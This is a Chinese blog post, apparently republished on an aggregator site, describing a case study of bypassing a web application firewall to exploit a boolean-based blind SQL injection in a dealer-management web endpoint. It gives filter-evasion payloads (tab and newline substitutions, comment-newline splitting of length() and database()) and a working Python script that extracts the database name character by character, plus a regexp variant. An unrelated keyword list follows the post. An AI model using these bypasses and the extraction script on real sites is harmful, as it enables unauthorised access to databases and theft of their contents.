如何解析SQL的bypass案例分析
发表于:2024-11-14 作者:千家信息网编辑
千家信息网最后更新 2024年11月14日,这篇文章给大家介绍如何解析SQL的bypass案例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。一、测试发现一个布尔型注入点,测试过程如下:1、原始请求2、输入'or'1'l
千家信息网最后更新 2024年11月14日如何解析SQL的bypass案例分析
这篇文章给大家介绍如何解析SQL的bypass案例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
一、测试发现一个布尔型注入点,测试过程如下:
1、原始请求
2、输入'or'1'like'1
3、输入'or'1'like'2
4、初步判断存在布尔型sql盲注,然后开始判断库名长度:
5、首先想到可能处理了空格,手工简单测试下:
6、发现:
空格or(不拦截)
or空格(拦截)
or/**/(拦截)
or%09 %0a %0d(不拦截)
二、简单fuzz下字符:
1、or (偶数个~) 也可以bypass
2、奇数个~执行失败:
3、进一步获取库名长度:
4、还是被拦截,猜测是处理了length()或database()函数,简单尝试下:
5、length()被处理掉了,fuzz一下:
6、利用注释换行符组合如length%23%0a()即可绕过:
7、这里还是报错,简单测试了下,把空格键换一下即可解决:
8、继续判断库名长度:
9、database()也被处理掉了,同样的方法可绕过:
10、最终得出数据库长度为7,如下图:
11、获取库名
12、substr未拦截,借助intruder跑一下:
注出第一个字符为l
三、写个脚本拖一下完整库名:
import requests
payloads = 'abcdefghijklmnopqrstuvwxyz_-'
database = ''
for l in range(1,8):
for payload in payloads:
burp0_url = "https://xxxxxx.xxxxxxxx.com:443/dms.web/manage/rest/basedata/DutyRecord?sort=EMPLOYEE_NO&order=asc&limit=10&offset=0®isterDate=2020-08-19'or%09substr(database%23%0a(),{0},1)%3d'{1}'%09or'1'like'2&employeeNo=0222&onDutyTime=08%3A00&offDutyTime=17%3A00&usableWorkingHours=9.0&dms_table=%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D&dmsFuncId=15100070&_=1597802235462".format(l,payload)
burp0_cookies = {"JSESSIONID": "ABCWB37FFE3DB54BD5705453E681E41F2", "selectDealerCode": "xxxx", "selectusername": "xxxx", "language": "zh_CN"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Connection": "close", "Referer": "https://xxxxxx.yxxxxuxuxo.xxm/dms.web/html/index.html"}
resp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
if "2018-10-22" in resp.content:
database += payload
print '[*]success\t' + database
else:
print '[*]dumping......'
print '[*]current database is:\t' + database
借助regexp正则匹配也可以实现,payload:
'%20or%0adatabase%23%0a()regexp'%5el'%09or%09'2'like'1
成功注出第一个字符:l,以此类推。
关于如何解析SQL的bypass案例分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
空格
长度
处理
测试
字符
案例
案例分析
分析
内容
布尔
更多
还是
帮助
输入
不错
原始
成功
以此类推
偶数
兴趣
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
河南众容网络技术有限公司
h5向服务器发送数据库
爬虫服务器开发
山东能源集团软件开发
计费系统装在哪种云服务器
索尼哪个服务器便宜
网络安全靶场建设情况
网络安全产品金牌服务
下列哪项不是数据库系统
软件开发带源码
福建网络安全警察招录
云服务器esc安全设置
linux命令怎么上传服务器
h3c 服务器开机自检
如何进行数据库恢复简答题
腾讯云服务器的网站管理
广州东秀网络技术
什么时候有鸿蒙服务器
cvte软件开发面经
网络安全致小学家长一封信
服务器不显示电脑配置
聊城收银系统软件开发
数据库中的排序
大学计算机网络技术专业学科
深圳服务器系统运维费用
监控室服务器管理制度
石家庄节能软件开发服务装饰
主流网络安全产品哪些好办
瑞易服务器加网线设置
检验专业的软件开发